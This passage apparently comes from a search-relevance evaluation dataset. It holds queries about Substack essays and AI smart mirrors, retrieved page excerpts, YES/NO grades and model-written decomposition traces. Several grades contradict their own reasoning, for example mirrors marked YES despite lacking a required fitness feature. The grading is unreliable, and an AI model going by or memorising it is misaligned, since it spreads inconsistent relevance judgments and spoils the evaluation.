                "text": "I have some exciting news to share before we get into this week\u2019s newsletter.  Starting in January, I\u2019ll join  Duco Experts  full-time as their Global Affairs Officer. I've been with Duco as an expert for two years, working with various tech companies, and I'm looking forward to focusing more on that sector going into the 2024 elections.  This means that I\u2019ll end my contracts with the Bipartisan Policy Center, the International Republican Institute, and the Integrity Institute. I want to thank everyone at those institutions for everything over the last two and a half years. I was not looking to join a company full-time as I've been loving being on my own and building Anchor Change. However, when Duco called to see if I'd be interested in joining, I saw it as an opportunity to turbo-charge the work I was already doing. Anchor Change, the newsletter, is not going away, though! That would have been a deal breaker for me, and I will continue to write that. The Impossible Tradeoff's podcast will also continue in 2024. There will be some changes, but more on that in the new year. I will also be splitting my time between DC and San Francisco. I can't wait to catch up with folks in the Bay Area, and if anyone has good leads on studio apartments to rent, please let me know.    Please support the curation and analysis I\u2019m doing with this newsletter  . As a paid subscriber, you make it possible for me to bring you in-depth analyses of the most pressing issues in tech and politics.\u00a0    Guide to the 2024 Elections            SOURCE:  The Economist   Did you know next year is a huge year of elections? \ud83d\ude06 Whether you are a long-time reader or a recent subscriber, you\u2019ve heard me banging this drum for years - and it\u2019s finally here. As we close up 2023, I thought it might be helpful to share some resources to help you understand what is happening and who to follow for all the latest updates.  How many elections are there, exactly?  One of the most complicated things for me to try to explain to people is why it\u2019s so hard to know ex",
                "model_trace": "Query Decomposition:\n1. {Substack article}: This document is a Substack article -> ([1], SATISFIED)\n2. {in-depth analysis of the role of social media influencers in the 2024 US presidential election}: The document does not mention social media influencers or their role in the 2024 US presidential election -> ([1], UNSATISFIED)\n3. {potential impact on voter behavior}: The document does not discuss the potential impact on voter behavior -> ([1], UNSATISFIED)\n\nAssessment: The document is a Substack article, but it does not provide an in-depth analysis of the role of social media influencers in the 2024 US presidential election or the potential impact on voter behavior. Therefore, it does not satisfy the key subcomponents of the query. NO."
            },
            {
                "grade": "NO",
                "title": "How social media influencers are playing a role in the presidential ...",
                "url": "https://www.pbs.org/newshour/show/how-social-media-influencers-are-playing-a-role-in-the-presidential-election",
                "published_date": null,
                "text": "Influencers on social media are playing a key role in President Biden\u2019s re-election campaign. As young voters eschew traditional advertising, the campaign is using those with loyal online followings as conduits ahead of November. White House Correspondent Laura Barr\u00f3n-L\u00f3pez reports.\n Notice: Transcripts are machine and human generated and lightly edited for accuracy. They may contain errors. \n Geoff Bennett: \nSocial media influencers are playing a key role in President Biden's reelection campaign. It's a way of connecting to younger voters who are harder to reach through traditional advertising. Here's Laura Barron-Lopez.\n Harry Sisson, Digital Content Creator: \nAll right, everybody. Joe Biden's about to pull up in the motorcade, so I'm going to get a clip for you guys.\n Laura Barron-Lopez: \nTwenty-one-year-old Harry Sisson had a special view of President Biden on the night of the State of the Union address, up close and personal from the White House.\n Harry Sisson: \nPresident Biden needs four more years in that house.\n Laura Barron-Lopez: \nAnd his videos capturing behind-the-scenes moments were broadcast to more than 830,000 followers. Harry is just one of dozens of social media personalities and influencers that the Biden administration and, more importantly, the Biden campaign is courting, from special invites to White House briefings to State of the Union watch parties, all to get out their message and the vote on platforms like TikTok and Instagram.\n Harry Sisson: \nI know, in my circle, even just friends, a lot of people are persuaded daily by stuff on TikTok. They will see a clip of Biden or Trump saying something, and that will change their minds.\n Laura Barron-Lopez: \nThe Biden campaign told \"NewsHour\" that they aren't currently paying influencers for their content.\n Harry Sisson: \nI don't think that young people are picking up the phone when a campaign person is making a call. I don't think the young persons are really going to political rallies unless they're really interested in politics. Hearing from ",
                "model_trace": "Query Decomposition:\n1. {Substack article}: The document is from PBS, not Substack -> ([1], UNSATISFIED)\n2. {in-depth analysis}: The document provides some analysis but does not appear to be in-depth -> ([1], UNSATISFIED)\n3. {role of social media influencers in the 2024 US presidential election}: The document discusses the role of social media influencers in President Biden\u2019s re-election campaign -> ([1], SATISFIED)\n4. {potential impact on voter behavior}: The document touches on how influencers might impact voter behavior, particularly among young people -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {role of social media influencers in the 2024 US presidential election} and {potential impact on voter behavior}. While these subcomponents are satisfied, the document does not meet the key subcomponents {Substack article} and {in-depth analysis}. Therefore, the document is not helpful for the user's request. NO."
            }
        ]
    },
    {
        "query": "Where can I find a personal essay on Substack about the author's experience reconnecting with their childhood religion as an adult and how it has impacted their worldview?",
        "grid_pos": [
            1,
            2
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Blog Post/Substack/Personal Content",
        "reasoning_trace": [
            "The queries cover a range of topics that test Exa's understanding of current events, personal experiences, and niche interests. They require Exa to search for and understand the nuances of blog posts, Substack newsletters, and personal essays - content that goes beyond simple factual information. The queries have enough detail to be specific, but still leave room for Exa to demonstrate its ability to comprehend complex queries and provide relevant, high-quality search results."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Losing the Faith: An Emotional and Rational Journey",
                "url": "https://interpsofinterps.substack.com/p/losing-the-faith-an-emotional-and",
                "published_date": "2023-02-06",
                "text": "I grew up in a deeply religious, Islamic household. When I was born, my father, a devout Muslim, dreamed of me becoming a Haafiz, a person who memorized the whole Qur\u2019an. Even though I did not go the Haafiz route, I ended up memorizing hundreds of verses of the Qur\u2019an. This was because from elementary to middle school, I went to the mosque every weekday for two hours to memorize the Qur\u2019an. I also prayed multiple times everyday, as Muslims are supposed to do, and started fasting during Ramadan when I was 10. Once a month, my father would also take me to a religious retreat for a weekend, which was part of Tablighi Jammat. Tablighi Jammat is a bit different from classic missionary movements in that its primary focus is on Muslims, not non-Muslims. It encourages Muslims to become more devout. During these retreats, we would travel to a mosque outside of our region and stay in that mosque for the weekend. We would go door to door, visiting Muslims in the area. We would talk to them about Islam, the Qur\u2019an, and the teachings of the Prophet Muhammad. We would encourage them to spend more time at their local mosque, and would invite them over to hear a sermon from one of our group members. These visits had a formula to them. We always talked to them about the same things. First, we would remind them of how short this life is. We would talk about how humans only live 70, 80, or 90 years, while eternity in heaven or hell is forever. Therefore, it only made sense to be religiously devout in order to ensure a blissful eternal life. This point always stuck with me. Especially the possibility of eternal damnation. My father used to read to our family sayings from the prophet about hellfire. He would tell us how disbelievers would be tortured in the graves; their ribs would intertwine in their tombs, and they would be forced to drink boiling water. Whenever I didn\u2019t want to pray or read the Qur\u2019an, I reminded myself of the prospect of hell, and it worked. It was a rational fear. It was almost like math. Eternity > life on Ear",
                "model_trace": "Query Decomposition:\n1. {personal essay}: The document is a personal essay -> ([1], SATISFIED)\n2. {on Substack}: The document is hosted on Substack -> ([1], SATISFIED)\n3. {author's experience reconnecting with their childhood religion as an adult}: The document details the author's childhood religious experiences but does not clearly indicate reconnection as an adult -> ([1], UNSATISFIED)\n4. {impact on their worldview}: The document discusses the impact of religious teachings on the author's childhood worldview but not explicitly on their current worldview -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {personal essay} and {on Substack}, both of which are satisfied. However, the key subcomponents about reconnecting with childhood religion as an adult and its impact on the author's current worldview are not satisfied. Therefore, the document does not fully meet the user's intent. NO."
            },
            {
                "grade": "NO",
                "title": "Did I just Leave a Cult?",
                "url": "https://sashastone.substack.com/p/did-i-just-leave-a-cult",
                "published_date": "2023-02-16",
                "text": "\u201cThe modus operandi of every cult is to convince you there's something wrong with you and only they can fix it.\u201d \u2015 Marty Rubin I grew up in the era of cults. My siblings and I attended a small elementary school in Topanga Canyon back in the 1970s, when it was still a wilderness of hippies and health food stores - not a safe haven for the 1%. We were heathens, without a doubt, raised like weeds by a former beauty queen who had dropped out of high school at 16 to have my older brother. She met my father at a nightclub called Pandora\u2019s Box in Hollywood. If you look carefully you can see it in the background of Quentin Tarantino\u2019s Once Upon a Time in Hollywood. Pandora\u2019s Box turned out to be just what marrying my father was like for my mother. Her whole world changed. She had three daughters right in a row and now had four kids all before the age of 24. Then my parents split and she raised us as mostly a single mom with various boyfriends who drifted in and out. We had to look out for ourselves because danger was everywhere. Grownups were off on their own trips - finding themselves, getting drunk and naked at grape stomps, their bodies and fluids co-mingling, along with the grapes and grape juice that would one day become wine. My mother, like so many in the counterculture, was and remains an atheist. Back then, God was uncool. Freedom was cool. Breaking free from tradition and convention rippled through the Left with tornado-like speed, destroying the past, creating a world anew. The Boomers broke free and saw nothing but wide open spaces and a chance to remake a world without God as they launched their counterculture revolution. Eventually, though, they would be sent adrift, with no collective sense of purpose. They chased everything from sex, drugs, and rock and roll to celebrities and cults. So many cults. Cults seemed to sprout up everywhere, all of them with the promise of a brand new way of living that fixed every problem. They would always try to lure my mom or us kids into them, always promising the same thi",
                "model_trace": "Query Decomposition:\n1. {personal essay on Substack}: This document is a personal essay on Substack -> ([1], SATISFIED)\n2. {author's experience reconnecting with their childhood religion as an adult}: The document discusses the author's childhood experience with cults and their mother's atheism, but it does not mention reconnecting with a childhood religion as an adult -> ([1], UNSATISFIED)\n3. {impact on worldview}: The document discusses the author's childhood experiences and their impact, but it does not specifically address reconnecting with a childhood religion and its impact on their worldview -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy the key subcomponents about reconnecting with childhood religion and its impact on the author's worldview. NO."
            },
            {
                "grade": "YES",
                "title": "G-O-D",
                "url": "https://ajar.substack.com/p/g-o-d",
                "published_date": "2022-06-06",
                "text": "Michelangelo Buonarroti, The Creation of Adam (detail of the Cappella Sistina), 1508-12 Amazing grace, how sweet the sound; That saved a wretch like me I once was lost, but now I'm found; Was blind, but now I see T'was grace that taught my heart to fear; And grace my fear relieved How precious did that grace appear; The hour I first believed. \u2014John Newton What\u2019s your earliest memory? I remember the moment my grandmother left this world when I was 8. I remember watching the fall of the Berlin Wall on television on my 7th birthday and knowing innately I was watching history unfold. I remember getting chills listening to Whitney Houston perform \u2018One Moment in Time\u2019 at the Summer Olympics when I was 6 and imagining all the great things I might do in my life. I remember learning the truth about Santa when I was 5 and hiding on the stairs to wait for him to come down the chimney only to discover it was my father putting together my toys (and cursing up a storm). I remember being rushed to the hospital by Miss Jennifer in preschool because I had fallen and needed stiches on my chin (the first of several wounds of this ilk). And more than a year before that, I recall falling off a second story balcony at Lake Arrowhead and the piercing sound of my mother\u2019s scream as I neared the ground. Spoiler alert, I was fine and yes, I was clumsy AF, but that\u2019s beside the point. While many are impressed that I\u2019m able to vividly remember so much of my childhood, I\u2019m much more confounded by the one thing that I can\u2019t remember\u2014the hour I first believed. I can recall moments in my childhood when that faith was questioned, and even more profoundly, moments when that faith was strengthened, but I can\u2019t remember a single moment when I didn\u2019t yet believe in God. On a rational level, I know it\u2019s impossible to have been born with faith, but in some ways, that\u2019s precisely how it feels since I can\u2019t locate a single memory that predates my faith. Undoubtedly the nuances of that faith have evolved and matured from the naivete of a bratty little bl",
                "model_trace": "Query Decomposition:\n1. [Personal essay on Substack]: This document is a personal essay on Substack -> ([1], SATISFIED)\n2. [Author's experience reconnecting with their childhood religion as an adult]: The content mentions the author's childhood faith and how it has evolved, but it does not explicitly state that the author is reconnecting with their childhood religion as an adult -> ([2], UNSURE)\n3. [How it has impacted their worldview]: The essay discusses the author's faith and its evolution, which suggests an impact on their worldview -> ([2], SATISFIED)\n\nAssessment: The document clearly satisfies the subcomponents of being a personal essay on Substack and discussing how faith has impacted the author's worldview. While it does not explicitly state a reconnection with childhood religion as an adult, it strongly implies a continuous and evolving relationship with faith.\n\nYES"
            },
            {
                "grade": "NO",
                "title": "Our Religion Problem",
                "url": "https://open.substack.com/pub/jameshazelwood/p/our-religion-problem?utm_source=post&comments=true&utm_medium=web",
                "published_date": null,
                "text": "Feb 2  Liked by James Hazelwood      I so totally agree with you, Bishop Hazelwood!  We in the Lutheran Church and in White mainline Protestantism in general have been making it all about church, and not God, for decades!  Its so much a part of our church culture that I wasn\u2019t even aware of that fact until 5 years ago when I started visiting churches - mostly Black evangelical/pentecostal - where the primary emphasis is on experiencing the awesome power and love of the living God!  And because of that, the church is not just a chaotic human organization, but a powerful spiritual reality with the capacity to change individual lives - and through those lives to change the world!   Thank you so much for sharing!!!    ||||I||||                SubscribeSign in\n                  Share this discussion\n                      Our Religion Problem\n                        jameshazelwood.substack.com\n                      Copy link\n                      Facebook\n                      Email\n                      Note\n                      Other\n                                                             \n            Our Religion Problem                             \n                                                             \n                    James Hazelwood                          \n                  Feb 2                                      \n                  17                                         \n                            Share this post                  \n                                                             \n                                Our Religion Problem         \n                                                             \n                                  jameshazelwood.substack.com\n                                Copy link                    \n                                Facebook                     \n                                Email                        \n                                Note                         \n                                Other                        \n         ",
                "model_trace": "Query Decomposition:\n1. {personal essay on Substack}: The document is a post on Substack, which is a platform for personal essays and newsletters -> ([1], SATISFIED)\n2. {author's experience reconnecting with their childhood religion as an adult}: The document does not provide clear information about the author's personal experience reconnecting with their childhood religion as an adult -> ([0], UNSURE)\n3. {impact on worldview}: The document does not provide clear information about how reconnecting with their childhood religion has impacted the author's worldview -> ([0], UNSURE)\n\nAssessment: The document is on Substack, which satisfies the first subcomponent. However, it does not provide sufficient information to evaluate whether it covers the author's experience reconnecting with their childhood religion and its impact on their worldview. Therefore, it does not meet the user's specific query requirements. NO."
            },
            {
                "grade": "NO",
                "title": "Open Thread, May 2024",
                "url": "https://chrisryan.substack.com/p/open-thread-may-2024/comments",
                "published_date": null,
                "text": "I think religion and the concept of God are linked to the very human need for meaning. If you look to other organic beings, they have certain amount of natural freedom. Take a bear, a bear can choose to eat, sleep, mate and play, but it cannot ask itself \"why\" it does those things. Human beings, so far as we can tell, are the only organic beings endowed with capacity to ask those questions that revolve around why. And this makes us truly unique as beings in that we can ask those big ontological and existential questions: Why does anything exist? Who created us? What happens after death? Other beings like crows, bears, rainbow trout, roses, bacteria don't seem to be haunted by those questions. So, God and religion to me, are very much an attempt by human beings to answer those questions and that the capacity to ask and comprehend are very much an integral part of human cognition and being.      I find that as I\u2019ve aged, those existential and ontological questions have started to become a larger force in my life. We all at some point encounter what the Psychotherapist Irvin Yalom calls the \"givens of existence\u201d, death, meaninglessness, freedom and isolation. And I think this is usually a turning point in peoples lives where they begin to seek out a spiritual practice/belief or double down into more material/ hedonistic aspects like money, fame, status, work, drugs/alcohol, sex and power.   In my late teens and early twenties, I very much was of the New Atheist bend, but I\u2019ve come to see the very strict materialist creed of new atheism and the fundamentalist religious zealotry they were reacting against as antithetical to real spirituality. It was the death of my best friend at 28 years old that really shook me out of that worldview. Allan Watts famously said, God is such a loaded word in the West and that it has lost all meaning. I really believe that the discourse between new atheism and religious fanatics has contributed to that. Cause for me at least, the big ontological questions remain unanswered, the universe",
                "model_trace": "Query Decomposition:\n1. {personal essay on Substack}: This document is a post on Substack, so it matches this subcomponent -> ([1], SATISFIED)\n2. {author's experience reconnecting with their childhood religion}: The document discusses the author's evolving views on religion and spirituality, but it does not clearly mention reconnecting with their childhood religion -> ([1], UNSATISFIED)\n3. {impact on worldview}: The document does discuss how the author's views on religion have changed and impacted their worldview -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponents {personal essay on Substack} and {impact on worldview}, but it does not satisfy {author's experience reconnecting with their childhood religion}. Therefore, the document is not fully aligned with the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Religion After Pandemic - by Diana Butler Bass",
                "url": "https://dianabutlerbass.substack.com/p/religion-after-pandemic",
                "published_date": null,
                "text": "During a\u00a0 Freeing Jesus\u00a0event hosted by a Seattle church, a man asked: \u201cWhat do you think is going to happen with churches after the pandemic? How is Christianity going to be changed by this?\u201d The question startled me. I was focused on my new book and not talking about the future of faith. I quickly pivoted back to Jesus. And the questioner just as quickly pivoted back to \u201cWhat\u2019s going to happen after the pandemic?\u201d \u201cI don\u2019t know,\u201d I replied. \u201cNobody knows.\u201d Since the publication of\u00a0 Christianity After Religion\u00a0in 2012, people have asked me more questions about church, faith, and the future than I can possibly remember. I\u2019ve learned a thing or two about conversations regarding the future.\u00a0  1) No one knows what the future holds, not even the most intuitive historian, skilled trend spotter, or well-trained futurist. 2) Time is an odd thing. We experience it (mostly) in terms of change and chronology. But in sacred perspective, time exists differently. Indeed, theologically there is no past, present, or future. God holds time without reference to what has been and what will be.\u00a0  In other words, I\u2019ve become more modest when speaking of the future of faith. Even though I am happy to engage these questions, I think a more fruitful course (at this moment) is to focus on\u00a0now.\u00a0  Truth is, we don\u2019t even know where we are in the course of the pandemic. Perhaps the best way to understand this moment is that\u00a0we are nearing the end of the beginning. Millions of Americans are vaccine-hesitant (or vaccine-denying), and billions of people around the planet are suffering from resurgent strains, lack of adequate medical intervention, and no vaccines. COVID isn\u2019t through with us yet, even while here in the United States, we see a bit of light on the horizon.\u00a0 Instead of navigating all those unknowns, it seems a wiser course to focus on what we do know. And what we know is what we\u2019ve been through \u2013 and how we are continuing to struggle.  * * * * *   So, what have we been through?  It is quite striking how people use the word \u201clost\u201d",
                "model_trace": "Query Decomposition:\n1. {personal essay on Substack}: This document is a personal essay on Substack -> ([1], SATISFIED)\n2. {author's experience reconnecting with their childhood religion as an adult}: The document does not mention the author's personal experience reconnecting with their childhood religion -> ([0], UNSURE)\n3. {how it has impacted their worldview}: The document does not discuss how reconnecting with childhood religion has impacted the author's worldview -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponent of being a personal essay on Substack, but it does not address the specific topic of reconnecting with childhood religion and its impact on the author's worldview. Therefore, it is not helpful for the user's query. NO."
            }
        ]
    },
    {
        "query": "Where can I find a customizable, AI-powered smart mirror that doubles as a virtual fitness trainer and provides personalized skincare advice?",
        "grid_pos": [
            1,
            3
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Consumer Good/Consumer Service",
        "reasoning_trace": [
            "These queries are diverse, realistic, and challenging, focusing on consumer goods and services. They require deep understanding of various topics such as eco-friendly products, advanced technology in everyday items, ethical sourcing and social responsibility, specialized outdoor gear, and adaptive technology for specific needs. Each query is specific and detailed, testing Exa's ability to understand complex requirements and provide relevant results in the consumer goods and services domain."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Augmented Reality & Artificial Intelligence Mirror Software | Memomi",
                "url": "http://memorymirror.com/",
                "published_date": "2019-01-01",
                "text": "The world\u2019s most advanced digital mirror The world\u2019s most advanced digital mirror The world\u2019s most advanced digital mirror The world\u2019s most advanced digital mirror The world\u2019s most advanced digital mirror Memomi is the award-winning smart mirror software transforming the luxury shopping market. Memomi is the award-winning smart mirror software transforming the luxury shopping market.\n\nThe world\u2019s most advanced digital mirror The world\u2019s most advanced digital mirror The world\u2019s most advanced digital mirror The world\u2019s most advanced digital mirror The world\u2019s most advanced digital mirror Memomi is the award-winning smart mirror software transforming the luxury shopping market. Memomi is the award-winning smart mirror software transforming the luxury shopping market. Memomi is the award-winning smart mirror software transforming the luxury shopping market.\n\nPOWERING EXPERIENCES FOR THE WORLD'S LEADING GROUPS\n\nMulti-layer AR & AI engine Multi-layer AR & AI engine Multi-layer AR & AI engine Multi-layer AR & AI engine Multi-layer AR & AI engine Using a physics and pixel-based algorithm, Memomi provides a realistic and personalized augmented reality experience. Our ready-to-market technology works across platforms including web, iOS and Android. In-store and online. Using a physics and pixel-based algorithm, Memomi provides a realistic and personalized augmented reality experience. Our ready-to-market technology works across platforms including web, iOS and Android. In-store and online.\n\nAny industry application Any industry application Any industry application From clothing to skin care, Memomi can be customized to virtually any beauty and fashion product. From clothing to skin care, Memomi can be customized to virtually any beauty and fashion product.\n\nFashion\n\nEyewear\n\nHair care\n\nFootwear\n\nAccessories\n\nPowerful AI personalization Powerful AI personalization Powerful AI personalization \n Our patented technology precisely maps and analyzes data to provide accurate, personalized recommendations in real time. Our patente",
                "model_trace": "Query Decomposition:\n1. {customizable smart mirror}: The document mentions that Memomi is a customizable smart mirror -> ([1], SATISFIED)\n2. {AI-powered}: The document states that Memomi uses a multi-layer AR & AI engine -> ([1], SATISFIED)\n3. {doubles as a virtual fitness trainer}: The document does not mention any functionality related to fitness training -> ([0], UNSURE)\n4. {provides personalized skincare advice}: The document indicates that Memomi can be customized for skincare products and provides personalized recommendations -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {customizable smart mirror}, {AI-powered}, and {provides personalized skincare advice}. Since all these subcomponents are satisfied, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "INTRODUCING THE MIRROR OF THE FUTURE",
                "url": "http://themusemirror.com/",
                "published_date": "2011-02-01",
                "text": "INTRODUCING THE MIRROR OF THE FUTURE\n\nMuse Interactive transforms your perception of reality creating Interactive experiences to keep you engaged with our products, and services\u200b\n\nTHE MUSE MIRROR DESIGNED TO ENHANCE YOUR DAILY BEAUTY SETUP\n\nLIVE AND ON DEMAND ROUTINES\n\nThe first digital makeup mirror to incorporate live and on-demand personal makeup artists\n\nVirtual Try On\n\nTry 50 shades in 3 minutes. Virtually try on cosmetic products before purchasing them\n\nTAILORED RECOMMENDATIONS\n\nRecommended products to purchase based on your age, skin type, skin tone and personal preferences\n\nDaily Progress Tracking\n\nLive Skin Analysis\n\nrealtime skin analysis reports, such as learning your pores shrunk by 30%, or that your skin type requires a mask minimum 2 times a week\n\nMonitor Your Daily Flow\n\nTrack other activities that attribute to having your best skin with easily digestible data that shows water intake and nutrition\n\nCutting Edge Mirror\n\nSleek Design\n\nUltra thin metal frame, with studio-like adjustable lights and 21.5 inch touchscreen behind glass mirror\n\nSeamlessly Display In Any Room\n\nMount on your wall or stand on any flat surface\n\nADVANCED VIRTUAL TRY-ON TECHNOLOGY\n\nPowered by advanced camera technology and machine learning, using progress tracking to monitor data, The Muse Mirror monitors your skin and hair to provide future recommendations on solutions that are best for you! Thus improving your skin and hair in minimal time.\n\nONE MIRROR ENDLESS ROUTINES\n\nFollow two minute to 60-minute on-demand cosmetic skin-care and makeup routines. From absolute beginner to expert levels. We have the perfect routine for everyone (make-up, hair and fashion. To get your day or night started.\n\nMUSE MIRROR FAVORITES\n\nAbility to be mounted on the wall or stand on surface\n\nLED lights that create the lighting scene of your choice (dim-lit, restaurant, club, stage, outside natural sunlight)\n\nAlexa voice & hand gesture controlled\n\nAugmented reality filters, try-ons and health data tracked\n\nTHE MUSE MIRROR IS A SLEEK & INNOVATIVE STATE",
                "model_trace": "Query Decomposition:\n1. {customizable}: The document does not explicitly state that the mirror is customizable -> ([0], UNSURE)\n2. {AI-powered}: The document mentions machine learning and advanced camera technology, which implies AI capabilities -> ([2], SATISFIED)\n3. {smart mirror}: The document describes the Muse Mirror as a digital makeup mirror with advanced features -> ([1], SATISFIED)\n4. {doubles as a virtual fitness trainer}: The document does not mention any fitness-related features -> ([0], UNSATISFIED)\n5. {provides personalized skincare advice}: The document mentions live skin analysis and tailored recommendations based on skin type and personal preferences -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {AI-powered}, {smart mirror}, and {provides personalized skincare advice}. These subcomponents are satisfied by the document. The subcomponents {customizable} and {doubles as a virtual fitness trainer} are tagged [0] and should be ignored in the final assessment. The document meets the user's intent for an AI-powered smart mirror that provides personalized skincare advice.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "CareOS",
                "url": "https://www.care-os.com/",
                "published_date": "2000-01-01",
                "text": "Discover our latest product: BMirror by CareOS\n\nWe strongly believe that innovative technologies help engage users\n on the path to better health and well-being. After 3 iterations, 5\n patents, and 3 CES Innovation Awards, we\u00e2\u0080\u0099re introducing BMirror by\n CareOS & CareOS 3.0 \u00e2\u0080\u0093 a unique platform to turn your mirror into a\n well-being and care companion. Enjoy a 100% touchless experience\n supported by user gesture recognition, voice command, and intent\n detection, with options for ultra-customization of the product\n features.\n\nWe were there!\n\nWhat is the purpose of CareOS ?\n\nCareOS is a privacy-by-design, intuitive open platform that works\n naturally into your care, beauty and health rituals. It makes the\n best possible use of time you spend in front of a mirror to\n improve your well-being by organizing and enhancing information\n from any connected device, digital service and CareOS\u00e2\u0080\u0099 own AI.\n\nBy simply looking at and gesturing to the bathroom mirror, you\n gain access to all of the information you need to evaluate and\n improve your routines, experiment with your appearance and learn\n about your health. CareOS is the new front line of preventative\n care, offering personalized information and suggestions for a\n happier and healthier life, with a specific secured profile for\n each member of the family.\n\nCareOS puts privacy first. Your data is stored locally into your\n mirror, it can be monitored with the secured mobile app and never\n be shared without your consent.\n\nOur vision\n\nAt CareOS, like all the Baracoda Group companies, we believe that\n anything is possible when technology and innovation come together\n with people and practice in order to make simple, health, beauty\n and wellness changes in our lives. \n Our mission is to leverage the best technology has to offer to\n help people live longer and healthier lives. \n Our partners represent some of the biggest global brands including\n Wella, Pierre-Fabre & Terraillon. We are all coming together to\n take better care of you.\n\nConnected devices, apps & servicesAll your",
                "model_trace": "Query Decomposition:\n1. {customizable AI-powered smart mirror}: The document mentions BMirror by CareOS, which is described as a customizable platform with AI capabilities -> ([1], SATISFIED)\n2. {doubles as a virtual fitness trainer}: The document does not explicitly mention fitness training capabilities -> ([0], UNSURE)\n3. {provides personalized skincare advice}: The document mentions beauty and health rituals, which likely includes skincare advice -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {customizable AI-powered smart mirror} and {provides personalized skincare advice}. Both of these subcomponents are satisfied by the document. YES."
            },
            {
                "grade": "NO",
                "title": "Smart Mirror Technology: Transforming Your Morning ...",
                "url": "https://blog.emb.global/smart-mirror-technology/",
                "published_date": null,
                "text": "Key Takeaways \nAR capabilities allow users to try on virtual outfits, hairstyles, and makeup, making getting ready more interactive and fun.\nEnhanced sensors in smart mirrors can monitor vital signs and provide real-time health insights, promoting proactive health management.\nFuture smart mirrors will focus on sustainability, incorporating energy-saving features and eco-friendly materials to reduce their environmental impact.\nThese mirrors streamline morning routines by offering personalized suggestions, health tips, and interactive features, making mornings more efficient.\nAs technology evolves, smart mirrors will continue to integrate more advanced features, becoming an essential tool in modern households.\nSmart mirror technology is changing how we start our day, bringing innovation right to our bathrooms. Imagine a mirror that not only reflects your image but also provides personalized beauty tips, virtual try-ons, and real-time health insights. How would your morning routine change if your mirror could help you look your best and monitor your health?\n Table of Contents   Key Takeaways   What are Smart Mirrors?   Features of Smart Mirrors   Types of Smart Mirrors   Benefits of Smart Mirrors   Integration with Smart Home Systems   Choosing the Right Smart Mirror   Future Trends in Smart Mirror Technology   Conclusion   FAQs   \n What are Smart Mirrors? \nSmart mirrors are innovative devices that blend traditional mirrors with modern technology. \nThese mirrors integrate digital displays and connectivity features, allowing users to access information and control various functions directly from the mirror\u2019s surface. \nEquipped with sensors and smart interfaces, smart mirrors enhance everyday routines by providing interactive and personalized experiences.\n Features of Smart Mirrors \n 1. Touchscreen Capabilities \nOne of the standout features of smart mirrors is their touchscreen capabilities. This allows users to interact directly with the mirror, accessing apps, checking the weather, reading news, and even controlling",
                "model_trace": "Query Decomposition:\n1. [customizable]: The document does not mention customization options -> ([0], UNSURE)\n2. [AI-powered smart mirror]: The document describes smart mirrors with advanced technology but does not explicitly mention AI capabilities -> ([0], UNSURE)\n3. [doubles as a virtual fitness trainer]: The document does not mention fitness training features -> ([0], UNSURE)\n4. [provides personalized skincare advice]: The document mentions personalized beauty tips, which may include skincare advice -> ([2], SATISFIED)\n\nAssessment: While the document mentions personalized beauty tips, it does not provide clear information about customization, AI capabilities, or fitness training features. Since these are key aspects of the query and are tagged [0], they should be ignored in the final evaluation. Therefore, the document does not fully satisfy the user's intent regarding the specific functionalities of the smart mirror. NO."
            },
            {
                "grade": "YES",
                "title": "AI-powered fitness mirror with a personal coach inside",
                "url": "https://itrexgroup.com/case-studies/ai-powered-fitness-mirror-with-a-personal-coach-inside/",
                "published_date": null,
                "text": "A full-length wall fitness mirror with a custom AOSP-based operating system and custom drivers for the hardware is equipped with 3D cameras, a cutting-edge touchscreen, a voice-activated system, and an ML model. The AI fitness mirror comes with IoT sensors and gives users access to live, on-demand classes and pre-programmed workouts.\n \n \n \n  Motion tracking and personalization\n \n \n \u25cf\n The front-facing cameras with ultra-wide angle lenses are powered by computer vision technology for 3D motion tracking to count the user\u2019s reps and monitor form, with the system using depth sensing to capture motion based on anatomical landmarks\n \n \n \u25cf\n The proprietary ML model processes the landmark information to (i) learn the user\u2019s capabilities for alternating between pushing them past their limits and encouraging rest when necessary, (ii) provide feedback on training sessions, and (iii) create tailored training plans for future workouts. The model uses a training dataset of hundreds of hours of workout records to make recommendations and adjusts them as it learns using the user\u2019s historical training data\n \n \n \n \u25cf\n Wireless adhesive sensors that users can stick onto their individual equipment to keep track of weights lifted and their total load\n \n \n \n \u25cf\n An LCD touch screen with a 4K UHD resolution provides an unparalleled user experience, ensuring crisp, clear visuals, while an in-built audio system delivers an exceptional audio quality, allowing users to play anything, from coaching audio to personal playlists\n \n \n \u25cf\n A voice control system. A voice-activated microphone can understand a fixed list of voice commands, effectively handling noisy environments. The speech recognition technology can learn new keywords to understand new commands given by the user \n \n \n \u25cf\n A custom companion iOS/Android application for users to share exercise results and receive feedback from other members of the community \n \n \n \u25cf\n Ability to work out with friends or a coach remotely via live streaming\n \n \n \u25cf\n Ability to integrate with smart watches a",
                "model_trace": "Query Decomposition:\n1. [customizable]: The document mentions a custom AOSP-based operating system and custom drivers, indicating a level of customization -> ([1], SATISFIED)\n2. [AI-powered smart mirror]: The document describes an AI-powered fitness mirror with various smart features -> ([1], SATISFIED)\n3. [doubles as a virtual fitness trainer]: The document details features such as 3D motion tracking, personalized training plans, and feedback, fulfilling the virtual fitness trainer role -> ([1], SATISFIED)\n4. [provides personalized skincare advice]: There is no mention of skincare advice in the document -> ([0], UNSATISFIED)\n\nAssessment: The document satisfies all the relevant subcomponents except for the skincare advice, which is tagged [0]. Therefore, the document is helpful for the user's query. YES."
            },
            {
                "grade": "NO",
                "title": "Beauty Reimagined: The Transformative Power of AI and ...",
                "url": "https://www.linkedin.com/pulse/beauty-reimagined-transformative-power-ai-global-talent-vashistha-niwhc",
                "published_date": null,
